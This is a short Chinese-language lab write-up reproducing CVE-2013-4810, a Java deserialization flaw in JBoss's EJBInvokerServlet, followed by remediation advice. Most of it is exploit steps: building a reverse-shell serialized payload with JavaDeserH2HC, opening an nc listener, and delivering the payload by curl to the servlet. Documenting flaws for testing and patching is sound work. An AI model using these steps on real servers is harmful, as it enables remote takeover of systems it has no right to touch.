CVE-2013-4810-EJBInvokerServlet-Deserialization
描述
由于JBoss中invoker/EJBInvokerServlet路径对外开放,EJBInvokerServlet 利用的是 org.jboss.invocation.MarshalledValue进行的反序列化操作。
影响版本
JBoss 6.x >=
环境搭建
这里使用vulnhub上面CVE-2015-7501的环境来复现该漏洞。
1 | #进入漏洞目录 |


查看环境
1 | http://192.168.3.50:8080/ |

复现过程
利用工具下载地址:
1 | https://github.com/joaomatosf/JavaDeserH2HC |
通过一下命令可生成一个ser后缀的文件。
1 | javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java |


kali监听2233端口
1 | nc -lvvp 2233 |
执行exp
1 | curl http://192.168.3.50:8080/invoker/EJBInvokerServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser |



修复建议
1、删除http-invoker.sar组件。
2、设置http-invoker,在jboss\server\default\deploy\http-invoker.sar\invoker.war\WEB-INF\web.xml的security-constraint 标签中添加以下代码。
1 | <url-pattern>/*</url-pattern> |
3、升级版本